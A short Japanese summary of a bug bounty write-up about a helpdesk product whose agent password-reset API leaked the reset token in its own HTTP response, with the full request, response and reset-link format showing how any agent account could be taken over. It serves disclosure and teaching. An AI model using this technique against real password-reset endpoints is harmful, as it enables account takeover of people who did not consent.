Hello there, ('ω')ノ
パスワードリセットの設定ミスの話を。
脆弱性:
パスワードリセットの欠陥
情報開示
記事:
https://naveenroy008.medium.com/tale-of-a-misconfiguration-in-password-reset-e8fb484a4661
今回は、ヘルプデスクソフトウェアでリセットトークンがリークされていたときに。
見つけたパスワードリセットの設定ミスに関するもので。
これは、Refererヘッダではなく、リクエスト自体の応答にあって。
この場合、アカウントのパスワードリセットを開始して。
すぐにそのアカウントのリセットトークンを受け取ることができて。
リクエストは、下記のとおりで。
POST /api/v1/base/password/reset HTTP/1.1
Host: [team_name].redacted.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 26
Connection: keep-aliveemail=[agent_email_address]
そして、応答は次のとおりで。
HTTP/1.1 200 OK
Server: nginx
Date: Tue, 25 Oct 2016 20:00:29 GMT
Content-Type: application/json
Content-Length: 2194
Connection: keep-alive
Cache-Control: private, max-age=0, must-revalidate
Expires: 0
X-API-Version: 1
Date-ISO: 2016-10-25T20:00:29+00:00
Access-Control-Expose-Headers: Date-ISO
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Date-ISO: 2016-10-25T20:00:29+00:00
Access-Control-Expose-Headers: Date-ISO{ "status": 200, "notifications": [ { "type": "SUCCESS", "message": "Password reset email sent to [Name]", "sticky": false } ], "auth_token": "[token]" }
auth_tokenは、有効なパスワードリセットリクエストで。
メールで受け取るリセットトークンで。
また、パスワードリセットリンクの形式は次のとおりで。
https://[team_name].redacted.com/Auth/ResetPassword/[auth_token]
チーム名に関係なく(既存のチーム名を使用している限り)auth_tokenを挿入すると。
そのアカウントのパスワードをリセットできるようになって。
そして、完全に制御してこのアカウントへのログインに進むことができて。
ヘルプデスクソフトウェアであることを考えると重要で。
要点:
ユーザーアカウントとエージェントアカウントのオプションがあって。
ユーザのパスワードリセットエンドポイントは脆弱ではありませんでしたが。
エージェントのパスワードリセットエンドポイントは脆弱で見逃しがちで。
電子メールでトークンを受信する場合は、常に要求への応答を確認するように。
Best regards, (^^ゞ